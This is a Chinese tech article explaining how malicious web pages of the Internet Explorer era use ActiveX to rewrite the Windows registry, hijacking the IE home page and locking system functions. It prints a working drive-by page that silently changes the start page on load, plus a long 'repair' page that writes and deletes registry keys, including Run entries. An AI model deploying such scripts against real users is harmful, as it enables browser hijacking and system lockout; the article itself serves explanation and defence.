56、深入剖析恶意攻击性网页
最近越来越多的个人网站都采用了恶意攻击性网页,从开始的只是修改IE首页地址,强迫大家一打开IE就进入他的主页来提高主页访问量,
愈演愈烈,到最后发展到锁定IE部分功能阻止用户恢复,甚至有的网页浏览后造成系统崩溃、数据丢失!对于此种用心险恶的途径,以经到了让
人发指的地步,为了增强大家上网安全,今天我们来深入剖析一下这些阴险网页的工作原理和应采取的预防措施。 首先,我们来了解一下
Windows中注册表的概念。
在计算机操作系统中都可以由用户按照各自的要求及硬件性能对计算机系统的硬件和软件进行各种各样的配置,这些配置参数就是配置文
件,如在DOS中的Config.sys文件。在早期的Win3.x中,对软硬件的配置参数是在扩展名为.ini的文件中存放的,但微软设计时考虑不足造成了每
种设备或应用程序都有自己的INI文件,使管理及通用性都难以处理。因此在Windows 95开始后继版本中,将各种软、硬件的有关配置和状态信
息;用程序和资源管理器外壳的初始条件、首选项和卸载数据;算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联, 硬件的描
述、状态和属性;计算机性能纪录和底层的系统状态信息,以及各类其他数据存储在一起,形成一个庞大的数据库来统一进行管理,这就是
Windows的注册表(Registry)。
Windows提供了注册表编辑器(REGEDIT.EXE)和注册表文件(.reg)引入等方法来修改注册表配置,如果我们修改了注册表中的配置参数
(各级子关键字的“键值”),就会改变系统工作状态,可以使系统优化,工作得更好更快,也可以略有不慎使系统出错、崩溃造成不能使用,
所以不提倡对系统配置不熟悉的人随便对注册表进行修改!
恶意攻击性网页正是自动修改了浏览该网页的电脑的注册表,从而达到修改IE首页地址、锁定部分功能等的阴险目的。但是它又是如何能在
我们浏览该网页的瞬间,悄悄地修改了注册表的呢?我们还得了解一下微软的ActiveX技术。
ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术集。它与
具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX被广泛应用于WEB服务器以及客户端的各个方面。同样ActiveX可以应用于网页
编制语言中,利用javascript语句轻易就可以把ActiveX嵌入到Web页面中。目前,很多第三方开发商编制了各式各样的ActiveX控制。在Internet
上,有超过1000个ActiveX控件供用户下载使用。在WINDOWS的SYSTEM目录下,保存有很多Window提供的ActiveX控件。
考虑到WEB的安全性,为了在服务器与客户端建立良好的信任关系,必须为每个在WEB上使用ActiveX控制设置一个“代码签名”
(Code Signing),VC5.0提供了生成供测试用的“代码签名”的工具。如果要正式发布,则必须向有关机构申请。但又由于“代码签名”技术的
不成熟,造就了阴恶的攻击性代码也可以找到一个“代码签名”顺利进行攻击,修改注册表!看,我们就是这样被微软的不成熟技术暗算了!
[1] [2] [3] [4] [5] [6] [7] [8] [9]
下面我们来剖析一个简单的攻击性网页源代码:
<Html>
<head>
<title>攻击性网页</title>
</head>
<body>
<!--上面是最基本的网页文件头-->
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--用Javascript语句调用ActiveX-->
function f( )
{
<!--把下面的攻击性代码定义为一个函数f -->
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
<!--ActiveX的一个合法"代码签名"-->
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet EXPlorer\\Main\\Start Page", " http://piaoyes.126.com";);
<!--修改注册表,把你的IE首页改成我的网站-->
}
function init( )
{
setTimeout("f( )", 1000);
}
init( );
<!--实现打开页面后1秒钟内执行修改注册表的工作 -->
</script>
<!—下面为网页显示文字部分 -->
<p><font face="隶书" size="7" color="#FF0000"> 恶意攻击性网页试验</font></p>
<hr>
<p><font face="宋体" size="5" color="#FF0000"> 现在已经把你的IE首页改成我的网站 http://piaoyes.126.com </font></p>
<p><font face="宋体" size="5" color="#FF0000"> ——飘叶</font></p>
</body>
</html>
你看一个并不复杂的网页就可以修改了注册表的HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page键值,也即
修改了IE的首页地址。如果再加入几条,就可以修改锁定更多的功能了,限于编幅,这理就不一一列出对应的注册表子键了,常见的修改后现象
有:
修改IE的标题、首页、搜索页、IE工具栏背景图、禁止更改主页设置;禁止更改历史纪录设置;禁止使用鼠标右键;禁用“另存为……”;
禁止“文件”菜单下面的“打开”功能;禁止IE全屏模式;禁止IE显示“工具”菜单中“Internet选项”;禁止更改高级页设置;禁止更改临时
文件的设置;禁止内容项;禁止安全项;禁止“重置Web设置”功能;禁止“查看源文件”菜单;禁止开始菜单中的"设置\任务栏和开始菜单"命
令;禁止"查找"命令;禁用开始菜单的"运行";让操作系统无法切换至DOS实模式;开机即跳出对话框;禁用“控制面板”;禁止Internet连接向
导;禁止更改默认浏览器检查;禁止添加脱机页计划;禁止“资源管理器”中的“文件”菜单;禁止更改连接设置;更改“我的电脑”、“我的
文档”、“回收站”名称;隐藏驱动器盘符;隐藏桌面所有图标;禁止更改显示属性;禁止删除、增加打印机;隐藏设备管理器、屏幕保护程
序、硬件配置文件、虚拟内存、文件系统选项;修改Outlook Express的标题栏;禁止MSDOS方式;禁止“关闭系统” 、禁止“注销”;禁止使用
reg注册表文件;禁止使用注册表编辑程序regedit.exe;禁止使用任何程序…… 天啊!我都差不多要拔刀自尽算了!
[1] [2] [3] [4] [5] [6] [7] [8] [9]
现在上网如何防范、破解网页攻击已是一个紧迫的问题了,虽然金山公司提供了一个免费的“注册表修复器”,可以修复注册表,但对付
一些“小儿科”的攻击网页还可以,如果是禁用多项功能的网页,嘿嘿,只能“走着瞧”了!不少文章介绍了设置禁用javascript脚本语言、禁
用ActiveX、修改IE安全级别等方法来防范,虽然也可以,但这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览,
这不亚于“汽车会撞死人,禁止使用汽车”! 较好的方法是使用Norton AntiVirus 2002 v8.0杀毒软件,这个版本新增Script Blocking功能,
将通过IE修改注册表的代码定义为Trojan.Offensive并予以拦截。
其实我们也不必要一上网就运行一大堆保护软件来增大内存的负担,难道背着一大堆保护铁壳来个“龟兔赛跑”?既然我们已分析出了它的
攻击原理,那就以其人之道还治其人之身吧,也编一个自动恢复注册表的网页,美其名曰“网页清热解毒丸”,建立在桌面上,什么时候惹火上
身了,就“吞”它一颗,包你的电脑“开窍醒神、镇惊安神,清肝兼明目、清热解疮毒”,哈哈……
下面,我就提供这个“网页清热解毒丸”的配方吧,会编网页的朋友就按方自行配制,不会的,那就上我网页(http://piaoyes.126.com)
拿吧,希能救下你的电脑一命,至少也该胜造六级浮屠吧,善哉!善哉!
<html>
<head>
<title>网页清热解毒丸</title>
</head>
<body>
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function f( )
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Run\\internat.exe", "C:\\WINDOWS\\SYSTEM\\internat.exe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFind","00000000", "REG_DWord");
//修复查找按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoRecentDocsMenu", "00000000",
"REG_DWORD"); //修复文档按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispCPL","00000000", "REG_DWORD");
//修复显示属性
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispScrSavPage", "00000000",
"REG_DWORD"); //修复屏幕保护程序
[1] [2] [3] [4] [5] [6] [7] [8] [9]
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispSettingsPage", "00000000",
"REG_DWORD"); //修复效果,web,设置
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDevMgrPage", "00000000", "REG_DWORD");
//修复设备管理器
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoConfigPage", "00000000", "REG_DWORD");
//修复硬件配置文件
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoVirtMemPage", "00000000", "REG_DWORD");
//虚拟内存
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoFileSysPage", "00000000", "REG_DWORD");
//修复文件系统
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDeletePrinter", "00000000",
"REG_DWORD"); //删除打印机
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoAddPrinter", "00000000", "REG_DWORD");
//添加打印机
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoViewContextMenu", 00, "REG_BINARY");
//使用鼠标右键
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDesktop", "00000000", "REG_DWORD");
//桌面图标
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoRun", 00, "REG_BINARY");
//修复RUN按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoClose", 00, "REG_BINARY");
//修复关闭按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoLogOff", 00, "REG_BINARY");
//修复注销按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDrives", "00000000", "REG_DWORD");
//取消隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\DisableRegistryTools",
"00000000", "REG_DWORD"); //取消禁止注册表
[1] [2] [3] [4] [5] [6] [7] [8] [9]
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\WinOldApp\\Disabled", "00000000", "REG_DWORD");
//修复MSDOS方式
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD");
//修复切换到MS-DOS方式
Shl.RegWrite ("HKLM\\Software\\CLASSES\\.reg\\", "regfile"); //使用reg文件
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
\\Winlogon\\LegalNoticeCaption", "");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
\\Winlogon\\LegalNoticeText", "");
//重设开机提示
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Window Title", "Microsoft Internet Explorer");
//重设IE标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Start Page", "about:blank"); //IE首页为空
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Local Page","about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Bar","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeCaption","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeCaption");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeText","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeText");
[1] [2] [3] [4] [5] [6] [7] [8] [9]
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qwe","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qwe");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qww","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Run\\qww");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Doc Find Spec MRU\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer
\\Default_Search_URL","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer
\\Default_Search_URL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\CurrentVersion\\Run\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\CurrentVersion\\Run\\");
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer
\\SearchURL","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\InternetExplorer
\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}
\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer
\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\"); Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft
\\Internet Explorer\\Control Panel\\16878","16878");
Shl.RegDelete("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft
\\Internet Explorer\\Control Panel\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\");
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\16878","16878");
Shl.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Doc Find Spec
[1] [2] [3] [4] [5] [6] [7] [8] [9]
MRU\\16878","16878");
Shl.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", "00000000", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoClose", "00000000", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\DisableRegistryTools", "00000000", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\Internet Explorer\\Control Panel\\HomePage",00,
"REG_BINARY");//
恢复修改主页按钮
Shl.RegWrite ("HKCU\\Identities\{5BE54740-60B7-11D2-AC3E-9B21A59A1F63}\\Username", "");
//清除Outlook Express用户名
Shl.RegWrite ("HKCU\\Identities\\{F03D8840-6881-11D2-883C-F2F34157927C}
\\Software\\Microsoft\\Outlook Express\\5.0\\windowTitle", ""); //
恢复Outlook Express的标题栏
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Toolbar\\backbitmapie5","0");
Shl.RegWrite ("HKCR\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\", "我的电脑");
Shl.RegWrite ("HKCU\\Software\\Classes\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\", "我的电脑");
Shl.RegWrite ("HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoSetTaskBar", "0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFolderOptions","0","REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\",
"C:\\WINDOWS\\SYSTEM\\BROWSEUI.DLL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoSetFolders","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions","0","REG_DWORD");
[1] [2] [3] [4] [5] [6] [7] [8] [9]
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\Control Panel\\Advanced","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache Internet","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connwiz Admin
Lock","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Settings","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Infodelivery\\Restrictions
\\NoAddingSubScriptions","0","REG_DWORD");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\RestrictRun","0","REG_DWORD");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFileMenu","0","REG_DWORD");
[1] [2] [3] [4] [5] [6] [7] [8] [9]
}
function init( )
{
setTimeout("f( )", 1000);
}
init( );
</script>
<p><font face="隶书" size="7" color="#FF0000"> 网页清热解毒丸</font></p>
<hr>
<p><font face="宋体" size="5" color="#FF0000"> 现在已经把你的电脑服下了我的“清热解毒丸”,已经消毒啦!如果有些还没有恢复,请重
新启动一次即可</font></p>
<p><font face="宋体" size="5" color="#FF0000"> ——飘叶</font></p>
</body>
</html>
(出处:http://www.sheup.com)